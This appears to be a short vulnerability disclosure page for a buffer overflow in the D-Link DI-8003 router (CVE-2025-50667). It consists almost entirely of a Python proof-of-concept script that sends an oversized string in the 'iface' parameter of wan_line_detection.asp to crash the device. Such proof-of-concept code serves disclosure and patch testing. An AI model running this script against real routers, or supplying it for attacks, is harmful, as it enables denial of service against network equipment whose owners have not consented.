D-Link DI-8003缓冲区溢出漏洞(CVE-2025-50667)

import requests def exploit_poc(target_ip): # Target endpoint vulnerable to buffer overflow url = f"http://{target_ip}/wan_line_detection.asp" # Malicious payload designed to overflow the buffer # Adjust the length (e.g., 1000 bytes) based on fuzzing results payload = "A" * 1000 # The vulnerable parameter is 'iface' params = { "iface": payload } try: # Send the GET request to trigger the vulnerability response = requests.get(url, params=params, timeout=5) print(f"[+] Payload sent to {url}") print(f"[+] Status Code: {response.status_code}") # Check if service is down (optional logic) if response.status_code != 200: print("[-] Service might be crashed or unreachable.") except requests.exceptions.RequestException as e: print(f"[-] Connection error (possible crash): {e}") if __name__ == "__main__": # Replace with the actual target IP address target = "192.168.0.1" exploit_poc(target)